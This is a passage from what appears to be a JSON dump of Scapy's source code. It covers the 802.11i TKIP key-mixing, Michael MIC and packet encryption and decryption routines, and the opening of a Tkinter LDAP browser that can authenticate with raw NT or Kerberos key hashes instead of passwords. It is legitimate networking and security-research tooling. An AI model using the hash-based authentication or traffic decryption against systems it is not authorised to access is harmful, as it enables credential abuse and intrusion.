0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85,\n        0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12,\n        0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9,\n        0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7,\n        0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A,\n        0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8,\n        0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A\n    ],\n    [\n        0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491,\n        0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC,\n        0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB,\n        0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B,\n        0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83,\n        0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A,\n        0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F,\n        0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA,\n        0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B,\n        0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713,\n        0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6,\n        0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85,\n        0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411,\n        0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B,\n        0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1,\n        0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF,\n        0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E,\n        0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6,\n        0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B,\n        0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD,\n        0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8,\n        0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2,\n        0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049,\n        0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810,\n        0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197,\n        0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F,\n        0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C,\n        0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927,\n        0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733,\n        0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5,\n        0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0,\n        0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C\n    ]\n]\n\n# 802.11i Annex H\nPHASE1_LOOP_CNT = 8\n\n\ndef _MK16(b1, b2):\n    return (b1 << 8) | b2\n\n\ndef _SBOX16(index):\n    return _SBOXS[0][index & 0xff] ^ _SBOXS[1][(index >> 8)]\n\n\ndef _CAST16(value):\n    return value & 0xffff\n\n\ndef _RotR1(value):\n    return ((value >> 1) & 0x7fff) | (value << 15)\n\n\ndef gen_TKIP_RC4_key(TSC, TA, TK):\n    \"\"\"Implement TKIP WEPSeed generation\n    TSC: packet IV\n    TA: target addr bytes\n    TK: temporal key\n    \"\"\"\n\n    assert len(TSC) == 6\n    assert len(TA) == 6\n    assert len(TK) == 16\n    assert all(isinstance(x, int) for x in TSC + TA + TK)\n\n    # Phase 1\n    # 802.11i p.54\n\n    # Phase 1 - Step 1\n    TTAK = []\n    TTAK.append(_MK16(TSC[3], TSC[2]))\n    TTAK.append(_MK16(TSC[5], TSC[4]))\n    TTAK.append(_MK16(TA[1], TA[0]))\n    TTAK.append(_MK16(TA[3], TA[2]))\n    TTAK.append(_MK16(TA[5], TA[4]))\n\n    # Phase 1 - Step 2\n    for i in range(PHASE1_LOOP_CNT):\n        j = 2 * (i & 1)\n        TTAK[0] = _CAST16(TTAK[0] + _SBOX16(TTAK[4] ^ _MK16(TK[1 + j], TK[0 + j])))  # noqa: E501\n        TTAK[1] = _CAST16(TTAK[1] + _SBOX16(TTAK[0] ^ _MK16(TK[5 + j], TK[4 + j])))  # noqa: E501\n        TTAK[2] = _CAST16(TTAK[2] + _SBOX16(TTAK[1] ^ _MK16(TK[9 + j], TK[8 + j])))  # noqa: E501\n        TTAK[3] = _CAST16(TTAK[3] + _SBOX16(TTAK[2] ^ _MK16(TK[13 + j], TK[12 + j])))  # noqa: E501\n        TTAK[4] = _CAST16(TTAK[4] + _SBOX16(TTAK[3] ^ _MK16(TK[1 + j], TK[0 + j])) + i)  # noqa: E501\n\n    # Phase 2\n    # 802.11i p.56\n\n    # Phase 2 - Step 1\n    PPK = list(TTAK)\n    PPK.append(_CAST16(TTAK[4] + _MK16(TSC[1], TSC[0])))\n\n    # Phase 2 - Step 2\n    PPK[0] = _CAST16(PPK[0] + _SBOX16(PPK[5] ^ _MK16(TK[1], TK[0])))\n    PPK[1] = _CAST16(PPK[1] + _SBOX16(PPK[0] ^ _MK16(TK[3], TK[2])))\n    PPK[2] = _CAST16(PPK[2] + _SBOX16(PPK[1] ^ _MK16(TK[5], TK[4])))\n    PPK[3] = _CAST16(PPK[3] + _SBOX16(PPK[2] ^ _MK16(TK[7], TK[6])))\n    PPK[4] = _CAST16(PPK[4] + _SBOX16(PPK[3] ^ _MK16(TK[9], TK[8])))\n    PPK[5] = _CAST16(PPK[5] + _SBOX16(PPK[4] ^ _MK16(TK[11], TK[10])))\n\n    PPK[0] = _CAST16(PPK[0] + _RotR1(PPK[5] ^ _MK16(TK[13], TK[12])))\n    PPK[1] = _CAST16(PPK[1] + _RotR1(PPK[0] ^ _MK16(TK[15], TK[14])))\n    PPK[2] = _CAST16(PPK[2] + _RotR1(PPK[1]))\n    PPK[3] = _CAST16(PPK[3] + _RotR1(PPK[2]))\n    PPK[4] = _CAST16(PPK[4] + _RotR1(PPK[3]))\n    PPK[5] = _CAST16(PPK[5] + _RotR1(PPK[4]))\n\n    # Phase 2 - Step 3\n    WEPSeed = []\n    WEPSeed.append(TSC[1])\n    WEPSeed.append((TSC[1] | 0x20) & 0x7f)\n    WEPSeed.append(TSC[0])\n    WEPSeed.append(((PPK[5] ^ _MK16(TK[1], TK[0])) >> 1) & 0xFF)\n    for i in range(6):\n        WEPSeed.append(PPK[i] & 0xFF)\n        WEPSeed.append(PPK[i] >> 8)\n\n    assert len(WEPSeed) == 16\n\n    return b\"\".join(chb(x) for x in WEPSeed)\n\n# TKIP - Michael\n# Tested against cryptopy (crypto.keyedHash.michael: Michael)\n\n\ndef _rotate_right32(value, shift):\n    return (value >> (shift % 32) | value << ((32 - shift) % 32)) & 0xFFFFFFFF\n\n\ndef _rotate_left32(value, shift):\n    return (value << (shift % 32) | value >> ((32 - shift) % 32)) & 0xFFFFFFFF\n\n\ndef _XSWAP(value):\n    \"\"\"Swap 2 least significant bytes of @value\"\"\"\n    return ((value & 0xFF00FF00) >> 8) | ((value & 0x00FF00FF) << 8)\n\n\ndef _michael_b(m_l, m_r):\n    \"\"\"Defined in 802.11i p.49\"\"\"\n    m_r = m_r ^ _rotate_left32(m_l, 17)\n    m_l = (m_l + m_r) % 2**32\n    m_r = m_r ^ _XSWAP(m_l)\n    m_l = (m_l + m_r) % 2**32\n    m_r = m_r ^ _rotate_left32(m_l, 3)\n    m_l = (m_l + m_r) % 2**32\n    m_r = m_r ^ _rotate_right32(m_l, 2)\n    m_l = (m_l + m_r) % 2**32\n    return m_l, m_r\n\n\ndef michael(key, to_hash):\n    \"\"\"Defined in 802.11i p.48\"\"\"\n\n    # Block size: 4\n    nb_block, nb_extra_bytes = divmod(len(to_hash), 4)\n    # Add padding\n    data = to_hash + chb(0x5a) + b\"\\x00\" * (7 - nb_extra_bytes)\n\n    # Hash\n    m_l, m_r = unpack('<II', key)\n    for i in range(nb_block + 2):\n        # Convert i-th block to int\n        block_i = unpack('<I', data[i * 4:i * 4 + 4])[0]\n        m_l ^= block_i\n        m_l, m_r = _michael_b(m_l, m_r)\n    return pack('<II', m_l, m_r)\n\n# TKIP packet utils\n\n\ndef parse_TKIP_hdr(pkt):\n    \"\"\"Extract TSCs, TA and encoded-data from a packet @pkt\"\"\"\n    # Note: FCS bit is not handled\n    assert pkt.FCfield.protected\n\n    # 802.11i - 8.3.2.2\n    tkip_layer = pkt[Dot11TKIP]\n    payload = tkip_layer.data\n\n    # IV\n    if not tkip_layer.ext_iv:\n        # 802.11i p. 46\n        raise ValueError(\"Extended IV must be set for TKIP\")\n    TSC0 = tkip_layer.TSC0\n    TSC1 = tkip_layer.TSC1\n    WEPseed = tkip_layer.WEPSeed\n\n    # Extended IV\n    TSC2 = tkip_layer.TSC2\n    TSC3 = tkip_layer.TSC3\n    TSC4 = tkip_layer.TSC4\n    TSC5 = tkip_layer.TSC5\n\n    # 802.11i p. 46\n    assert (TSC1 | 0x20) & 0x7f == WEPseed\n\n    TA = [orb(e) for e in mac2str(pkt.addr2)]\n    TSC = [TSC0, TSC1, TSC2, TSC3, TSC4, TSC5]\n\n    return TSC, TA, payload\n\n\ndef build_TKIP_payload(data, iv, mac, tk):\n    \"\"\"Build a TKIP header for IV @iv and mac @mac, and encrypt @data\n    based on temporal key @tk\n    \"\"\"\n    TSC5, TSC4, TSC3, TSC2, TSC1, TSC0 = (\n        (iv >> 40) & 0xFF,\n        (iv >> 32) & 0xFF,\n        (iv >> 24) & 0xFF,\n        (iv >> 16) & 0xFF,\n        (iv >> 8) & 0xFF,\n        iv & 0xFF\n    )\n    bitfield = 1 << 5  # Extended IV\n    TKIP_hdr = chb(TSC1) + chb((TSC1 | 0x20) & 0x7f) + chb(TSC0) + chb(bitfield)  # noqa: E501\n    TKIP_hdr += chb(TSC2) + chb(TSC3) + chb(TSC4) + chb(TSC5)\n\n    TA = [orb(e) for e in mac2str(mac)]\n    TSC = [TSC0, TSC1, TSC2, TSC3, TSC4, TSC5]\n    TK = [orb(x) for x in tk]\n\n    rc4_key = gen_TKIP_RC4_key(TSC, TA, TK)\n    return TKIP_hdr + ARC4_encrypt(rc4_key, data)\n\n\ndef parse_data_pkt(pkt, tk):\n    \"\"\"Extract data from a WPA packet @pkt with temporal key @tk\"\"\"\n    TSC, TA, data = parse_TKIP_hdr(pkt)\n    TK = [orb(x) for x in tk]\n\n    rc4_key = gen_TKIP_RC4_key(TSC, TA, TK)\n    return ARC4_decrypt(rc4_key, data)\n\n\nclass ICVError(Exception):\n    \"\"\"The expected ICV is not the computed one\"\"\"\n    pass\n\n\nclass MICError(Exception):\n    \"\"\"The expected MIC is not the computed one\"\"\"\n    pass\n\n\ndef check_MIC_ICV(data, mic_key, source, dest):\n    \"\"\"Check MIC, ICV & return the data from a decrypted TKIP packet\"\"\"\n    assert len(data) > 12\n\n    # DATA - MIC(DA - SA - Priority=0 - 0 - 0 - 0 - DATA) - ICV\n    # 802.11i p.47\n\n    ICV = data[-4:]\n    MIC = data[-12:-4]\n    data_clear = data[:-12]\n\n    expected_ICV = pack(\"<I\", crc32(data_clear + MIC) & 0xFFFFFFFF)\n    if expected_ICV != ICV:\n        raise ICVError()\n\n    sa = mac2str(source)  # Source MAC\n    da = mac2str(dest)  # Dest MAC\n\n    expected_MIC = michael(mic_key, da + sa + b\"\\x00\" * 4 + data_clear)\n    if expected_MIC != MIC:\n        raise MICError()\n\n    return data_clear\n\n\ndef build_MIC_ICV(data, mic_key, source, dest):\n    \"\"\"Compute and return the data with its MIC and ICV\"\"\"\n    # DATA - MIC(DA - SA - Priority=0 - 0 - 0 - 0 - DATA) - ICV\n    # 802.11i p.47\n\n    sa = mac2str(source)  # Source MAC\n    da = mac2str(dest)  # Dest MAC\n    MIC = michael(mic_key, da + sa + b\"\\x00\" + b\"\\x00\" * 3 + data)\n    ICV = pack(\"<I\", crc32(data + MIC) & 0xFFFFFFFF)\n\n    return data + MIC + ICV\n"
  },
  {
    "path": "scapy/modules/ldaphero.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nLDAP Hero: a LDAP browser based on the Scapy LDAP client\n\"\"\"\n\nimport uuid\n\nfrom scapy.layers.ldap import (\n    LDAP_AttributeValue,\n    LDAP_BIND_MECHS,\n    LDAP_Client,\n    LDAP_CONTROL_ACCESS_RIGHTS,\n    LDAP_Control,\n    LDAP_DS_ACCESS_RIGHTS,\n    LDAP_Exception,\n    LDAP_ModifyRequestChange,\n    LDAP_PartialAttribute,\n    LDAP_PROPERTY_SET,\n    LDAP_serverSDFlagsControl,\n)\nfrom scapy.layers.dcerpc import (\n    DCERPC_Transport,\n    NDRUnion,\n    DCE_C_AUTHN_LEVEL,\n    find_dcerpc_interface,\n)\nfrom scapy.layers.gssapi import SSP\nfrom scapy.layers.msrpce.rpcclient import (\n    DCERPC_Client,\n)\nfrom scapy.layers.msrpce.msdrsr import (\n    DRS_EXTENSIONS_INT,\n    DRS_EXTENSIONS,\n    DRS_MSG_CRACKREQ_V1,\n    IDL_DRSBind_Request,\n    IDL_DRSCrackNames_Request,\n    NTDSAPI_CLIENT_GUID,\n)\nfrom scapy.layers.ntlm import NTLMSSP\nfrom scapy.layers.kerberos import KerberosSSP\nfrom scapy.layers.spnego import SPNEGOSSP\nfrom scapy.layers.windows.security import (\n    SECURITY_DESCRIPTOR,\n    WELL_KNOWN_SIDS,\n    WINNT_ACE_FLAGS,\n    WINNT_ACE_HEADER,\n    WINNT_SID,\n    WINNT_ACCESS_ALLOWED_ACE,\n    WINNT_ACCESS_ALLOWED_OBJECT_ACE,\n    WINNT_ACCESS_DENIED_OBJECT_ACE,\n    WINNT_ACCESS_DENIED_ACE,\n    WINNT_SYSTEM_AUDIT_OBJECT_ACE,\n    WINNT_SYSTEM_AUDIT_ACE,\n)\nfrom scapy.utils import valid_ip\n\ntry:\n    import tkinter as tk\n    from tkinter import ttk, messagebox\nexcept ImportError:\n    raise ImportError(\"tkinter is not installed (`apt install python3-tk` on debian)\")\n\n\nclass AutoHideScrollbar(ttk.Scrollbar):\n    def __init__(self, *args, **kwargs):\n        self.shown = False\n        super(AutoHideScrollbar, self).__init__(*args, **kwargs)\n\n    def set(self, first, last):\n        show = float(first) > 0 or float(last) < 1\n        if show and not self.shown:\n            self.grid(row=0, column=1, sticky=\"nsew\")\n        elif not show and self.shown:\n            self.grid_forget()\n        self.shown = show\n        super(AutoHideScrollbar, self).set(first, last)\n\n\nclass BasePopup:\n    \"\"\"\n    A tkinter wrapper used to have a popup window with basic controls\n    \"\"\"\n\n    def __init__(self, parent):\n        # Get dialog\n        self.dlg = tk.Toplevel(parent)\n        self.parent = parent\n        self.cancelled = False\n\n        # Configure some bindings\n        self.dlg.bind(\"<Return>\", self.dismiss)\n        self.dlg.bind(\"<KP_Enter>\", self.dismiss)\n\n    def dismiss(self, *_) -> None:\n        \"\"\"\n        Close the popup\n        \"\"\"\n        self.dlg.grab_release()\n        self.dlg.destroy()\n\n    def cancel(self) -> None:\n        \"\"\"\n        Cancel the popup\n        \"\"\"\n        self.cancelled = True\n        self.dismiss()\n\n    def run(self) -> False:\n        \"\"\"\n        Show the popup. Returns True if cancelled, False otherwise.\n        \"\"\"\n        self.dlg.protocol(\"WM_DELETE_WINDOW\", self.dismiss)\n        self.dlg.transient(self.parent)\n        self.dlg.wait_visibility()\n        self.dlg.grab_set()\n        self.dlg.wait_window()\n\n        return self.cancelled\n\n\nclass LDAPHero:\n    r\"\"\"\n    LDAP Hero - LDAP GUI browser over Scapy's LDAP_Client\n\n    :param ssp: if provided, use this SSP for auth.\n    :param mech: the LDAP_BIND_MECHS to use when binding.\n    :param sign: request signature by default\n    :param encrypt: request encryption by default\n    :param host: auto-connect to a specific host\n    :param port: the port to connect to (default: 389/636)\n                 (This is only in use when using 'host')\n    :param ssl: whether to use SSL to connect or not\n                (This is only in use when using 'host')\n\n    Authentication parameters:\n\n    :param UPN: the upn to use (DOMAIN/USER, DOMAIN\\USER, USER@DOMAIN or USER)\n    :param kerberos_required: require kerberos\n    :param password: if provided, used for auth\n    :param HashNt: if provided, used for auth (NTLM)\n    :param HashAes256Sha96: if provided, used for auth (Kerberos)\n    :param HashAes128Sha96: if provided, used for auth (Kerberos)\n    \"\"\"\n\n    def __init__(\n        self,\n        ssp: SSP = None,\n        mech: LDAP_BIND_MECHS = LDAP_BIND_MECHS.SASL_GSS_SPNEGO,\n        sign: bool = True,\n        encrypt: bool = False,\n        host: str = None,\n        port: int = None,\n        ssl: bool = False,\n        # Authentication\n        UPN: str = None,\n        password: str = None,\n        kerberos_required: bool = False,\n        HashNt: bytes = None,\n        HashAes256Sha96: bytes = None,\n        HashAes128Sha96: bytes = None,\n        use_krb5ccname: bool = False,\n    ):\n        self.client = LDAP_Client()\n        if ssp is None and mech == LDAP_BIND_MECHS.SASL_GSS_SPNEGO and UPN and host:\n            # We allow the SSP to be provided through arguments.\n            # In that case, use SPNEGO\n            ssp = SPNEGOSSP.from_cli_arguments(\n                UPN=UPN,\n                target=host,\n                password=password,\n                HashNt=HashNt,\n                HashAes256Sha96=HashAes256Sha96,\n                HashAes128Sha96=HashAes128Sha96,\n                kerberos_required=kerberos_required,\n                use_krb5ccname=use_krb5ccname,\n            )\n        self.ssp = ssp\n        self.mech = mech\n        if mech == LDAP_BIND_MECHS.SIMPLE:\n            self.simple_username = UPN\n            self.simple_password = password\n        else:\n            self.simple_username = self.simple_password = None\n        self.sign = sign\n        self.encrypt = encrypt\n        # Session parameters\n        self.connected = False\n        self.bound = False\n        self.host = host\n        self.port = port\n        self.ssl = ssl\n        self.dns_domain_name = \"\"\n        self.rootDSE = {}\n        self.sids = dict(WELL_KNOWN_SIDS)\n        self.sidscombo = {}\n        self.guids = {}\n        self.guidscombo = {\"None\": None}\n        self.guidscomboobject = {\"None\": None}\n        self.loadedSchemaIDGuids = False\n        self.crop_output = None\n        self.currently_editing = None\n        # UI cache\n        self.lastSearchString = \"\"\n        # Launch\n        self.main()\n\n    def connect(self):\n        \"\"\"\n        Connect command.\n        \"\"\"\n        # If host is None, we need to ask for it via a dialog.\n        if self.host is None:\n            # Get dialog\n            popup = BasePopup(self.root)\n            dlg = popup.dlg\n\n            # Connect UI\n            serverv = tk.StringVar()\n            serverv.set(self.host or \"\")\n            ttk.Label(dlg, text=\"Server\").grid(row=0, column=0)\n            serverf = tk.Entry(dlg, textvariable=serverv)\n            serverf.grid(row=0, column=1)\n\n            portv = tk.StringVar()\n            portv.set(\"389\")\n            ttk.Label(dlg, text=\"Port\").grid(row=1, column=0)\n            tk.Entry(dlg, textvariable=portv).grid(row=1, column=1)\n\n            sslv = tk.BooleanVar()\n            ttk.Label(dlg, text=\"SSL\").grid(row=2, column=0)\n            ttk.Checkbutton(dlg, variable=sslv).grid(row=2, column=1)\n\n            ttk.Button(dlg, text=\"OK\", command=popup.dismiss).grid(row=3, column=0)\n            ttk.Button(dlg, text=\"Cancel\", command=popup.cancel).grid(row=3, column=1)\n\n            serverf.focus()\n\n            # Setup\n            if popup.run():\n                # Cancelled\n                return\n\n            # Get values\n            self.host = serverv.get()\n            try:\n                self.port = int(portv.get())\n            except ValueError:\n                return\n            self.ssl = sslv.get()\n\n        # Connect now !\n        self.tprint(\n            \"client.connect(host='%s', port=%s, ssl=%s)\"\n            % (self.host, self.port, self.ssl)\n        )\n        try:\n            self.client.connect(self.host, port=self.port, use_ssl=self.ssl)\n        except Exception as ex:\n            self.tprint(str(ex))\n            raise\n        self.tprint(\"Established connection to %s.\" % self.host)\n        self.connected = True\n\n        # Alright, change the UI.\n        self.menu_connection.entryconfig(\"Connect\", state=tk.DISABLED)\n        self.menu_connection.entryconfig(\"Bind\", state=tk.ACTIVE)\n        self.menu_connection.entryconfig(\"Disconnect\", state=tk.ACTIVE)\n        self.menu_browse.entryconfig(\"Add child\", state=tk.ACTIVE)\n        self.menu_browse.entryconfig(\"Modify\", state=tk.ACTIVE)\n        self.menu_browse.entryconfig(\"Modify DN\", state=tk.ACTIVE)\n        self.menu_browse.entryconfig(\"Search\", state=tk.ACTIVE)\n        self.menu_view.entryconfig(\"Tree\", state=tk.ACTIVE)\n\n        # Get rootDSE\n        self.tprint(\"Retrieving base DSA information...\")\n        try:\n            results = self.client.search(\n                baseObject=\"\",\n                scope=0,\n            )\n        except LDAP_Exception as ex:\n            self.tprint(\n                ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                tags=[\"error\"],\n            )\n            return\n\n        attrs = results.get(\"\", None)  # root\n        if attrs is None:\n            return\n\n        self.rootDSE = attrs\n\n        # Get some infos on the server\n        try:\n            self.dns_domain_name = self.rootDSE[\"ldapServiceName\"][0].split(\":\")[0]\n        except KeyError:\n            pass\n\n        # Display\n        self._showsearchresult(\"\", results)\n\n        # If we have a SSP, auto-bind.\n        if self.ssp is not None:\n            self.bind()\n\n    def disconnect(self):\n        \"\"\"\n        Disconnect command.\n        \"\"\"\n        if not self.connected:\n            return\n\n        self.tprint(\"client.close()\")\n        self.client.close()\n        self.connected = False\n\n        self.menu_connection.entryconfig(\"Connect\", state=tk.ACTIVE)\n        self.menu_connection.entryconfig(\"Bind\", state=tk.DISABLED)\n        self.menu_connection.entryconfig(\"Disconnect\", state=tk.DISABLED)\n        self.menu_browse.entryconfig(\"Add child\", state=tk.DISABLED)\n        self.menu_browse.entryconfig(\"Modify\", state=tk.DISABLED)\n        self.menu_browse.entryconfig(\"Modify DN\", state=tk.DISABLED)\n        self.menu_browse.entryconfig(\"Search\", state=tk.DISABLED)\n        self.menu_view.entryconfig(\"Tree\", state=tk.DISABLED)\n\n    def bind(self, *args):\n        \"\"\"\n        Bind command.\n        \"\"\"\n        if not self.connected:\n            return\n\n        if self.bound:\n            # We are re-binding !\n            self.ssp = None\n            self.bound = False\n\n        if self.ssp is not None or self.simple_username is not None:\n            # We have an SSP. Don't prompt\n            self.tprint(\"client.bind(%s, ssl=self.ssp)\" % self.mech)\n            try:\n                self.client.bind(\n                    self.mech,\n                    ssp=self.ssp,\n                    simple_username=self.simple_username,\n                    simple_password=self.simple_password,\n                    sign=self.sign,\n                    encrypt=self.encrypt,\n                )\n            except LDAP_Exception as ex:\n                self.tprint(\n                    ex.diagnosticMessage or \"Error: %s\" % ex.resultCode,\n                    tags=[\"error\"],\n                )\n                return\n            except Exception as ex:\n                self.tprint(str(ex))\n                raise\n            self.tprint(\"Authenticated.\\n\", tags=[\"bold\"])\n            self.bound = True\n            return\n\n        # Get dialog\n        popup = BasePopup(self.root)\n        dlg = popup.dlg\n\n        # Bind UI\n        userv = tk.StringVar()\n        ttk.Label(dlg, text=\"User\").grid(row=0, column=0)\n        userf = tk.Entry(dlg, textvariable=userv)\n        userf.grid(row=0, column=1)\n\n        passwordv = tk.StringVar()\n        ttk.Label(dlg, text=\"Password\").grid(row=1, column=0)\n        tk.Entry(dlg, textvariable=passwordv).grid(row=1, column=1)\n\n        domainv = tk.StringVar()\n        domainv.set(self.dns_domain_name)\n        ttk.Label(dlg, text=\"Domain\").grid(row=2, column=0)\n        domentry = tk.Entry(dlg, textvariable=domainv)\n        domentry.grid(row=2, column=1)\n\n        # The \"Bind Type\" radio list\n        bindtypefrm = ttk.LabelFrame(\n            dlg,\n            text=\"Bind type\",\n        )\n        bindtypev = tk.StringVar()\n        sicilybtn = ttk.Radiobutton(\n            bindtypefrm,\n            variable=bindtypev,\n            text=\"Sicily bind (NTLM)\",\n            value=LDAP_BIND_MECHS.SICILY.value,\n        )\n        sicilybtn.pack(anchor=tk.W)\n        gssapibtn = ttk.Radiobutton(\n            bindtypefrm,\n            variable=bindtypev,\n            text=\"GSSAPI bind (Kerberos)\",\n            value=LDAP_BIND_MECHS.SASL_GSSAPI.value,\n        )\n        gssapibtn.pack(anchor=tk.W)\n        spnegobtn = ttk.Radiobutton(\n            bindtypefrm,\n            variable=bindtypev,\n            text=\"SPNEGO bind (NTLM/Kerberos)\",\n            value=LDAP_BIND_MECHS.SASL_GSS_SPNEGO.value,\n        )\n        spnegobtn.pack(anchor=tk.W)\n        simplebtn = ttk.Radiobutton(\n            bindtypefrm,\n            variable=bindtypev,\n            text=\"Simple bind\",\n            value=LDAP_BIND_MECHS.SIMPLE.value,\n        )\n        simplebtn.pack(anchor=tk.W)\n        bindtypefrm.grid(row=3, column=0, columnspan=2)\n\n        if \"supportedSASLMechanisms\" in self.rootDSE:\n            # Some algorithms might be unavailable\n            algs = self.rootDSE[\"supportedSASLMechanisms\"]\n            if \"GSSAPI\" not in algs:\n                gssapibtn.config(state=tk.DISABLED)\n            if \"GSS-SPNEGO\" not in algs:\n                spnegobtn.config(state=tk.DISABLED)\n\n        # Sign button\n        signv = tk.BooleanVar()\n        signv.set(self.sign)\n        ttk.Label(dlg, text=\"Sign traffic after bind\").grid(row=4, column=0)\n        signbtn = ttk.Checkbutton(dlg, variable=signv)\n        signbtn.grid(row=4, column=1)\n\n        # Encrypt button\n        encryptv = tk.BooleanVar()\n        encryptv.set(self.encrypt)\n        ttk.Label(dlg, text=\"Encrypt traffic after bind\").grid(row=5, column=0)\n        encrbtn = ttk.Checkbutton(dlg, variable=encryptv)\n        encrbtn.grid(row=5, column=1)\n\n        ttk.Button(dlg, text=\"OK\", command=popup.dismiss).grid(row=6, column=0)\n        ttk.Button(dlg, text=\"Cancel\", command=popup.cancel).grid(row=6, column=1)\n\n        # Default state\n        if self.dns_domain_name and not valid_ip(self.host):\n            bindtypev.set(LDAP_BIND_MECHS.SASL_GSS_SPNEGO.value)\n        else:\n            domentry.configure(state=tk.DISABLED)\n            bindtypev.set(LDAP_BIND_MECHS.SICILY.value)\n\n        # Handle dynamic UI\n        def bindtypechange(*args, **kwargs):\n            bindtype = LDAP_BIND_MECHS(bindtypev.get())\n            if bindtype == LDAP_BIND_MECHS.SIMPLE:\n                domentry.config(state=tk.DISABLED)\n                signbtn.config(state=tk.DISABLED)\n                encrbtn.config(state=tk.DISABLED)\n                encryptv.set(False)\n            elif bindtype == LDAP_BIND_MECHS.SICILY:\n                domentry.config(state=tk.DISABLED)\n                signbtn.config(state=tk.DISABLED)\n                signv.set(False)\n                encrbtn.config(state=tk.NORMAL)\n            else:\n                domentry.config(state=tk.NORMAL, textvariable=domainv)\n                signbtn.config(state=tk.NORMAL)\n                encrbtn.config(state=tk.NORMAL)\n\n        bindtypev.trace_add(\"write\", bindtypechange)\n\n        userf.focus()\n\n        # Setup\n        if popup.run():\n            # Cancelled\n            return\n\n        # Get values\n        username = userv.get()\n        password = passwordv.get()\n        domain = domainv.get()\n        bindtype = LDAP_BIND_MECHS(bindtypev.get())\n        self.sign = signv.get()\n        self.encrypt = encryptv.get()\n\n        # Bind !\n        self.tprint(\"client.bind(%s, ...)\" % bindtype)\n        try:\n            simple_username = None\n            simple_password = None\n            if bindtype == LDAP_BIND_MECHS.SIMPLE:\n                self.ssp = None\n                simple_username = username\n                simple_password = password\n                self.encrypt = False\n            elif bindtype == LDAP_BIND_MECHS.SICILY:\n                self.sign = False\n                self.ssp = NTLMSSP(\n                    UPN=username,\n                    PASSWORD=password,\n                )\n            elif bindtype == LDAP_BIND_MECHS.SASL_GSSAPI:\n                self.ssp = KerberosSSP(\n                    UPN=\"%s@%s\" % (username, domain),\n                    SPN=\"ldap/%s\" % self.host,\n                    PASSWORD=password,\n                )\n            elif bindtype == LDAP_BIND_MECHS.SASL_GSS_SPNEGO:\n                self.ssp = SPNEGOSSP(\n                    [\n                        NTLMSSP(\n                            UPN=username,\n                            PASSWORD=password,\n                        ),\n                        KerberosSSP(\n                            UPN=\"%s@%s\" % (username, domain),\n                            SPN=\"ldap/%s\" % self.host,\n                            PASSWORD=password,\n                        ),\n                    ]\n                )\n            self.client.bind(\n                bindtype,\n                ssp=self.ssp,\n                simple_username=simple_username,\n                simple_password=simple_password,\n                sign=self.sign,\n                encrypt=self.encrypt,\n            )\n        except LDAP_Exception as ex:\n            self.tprint(\n                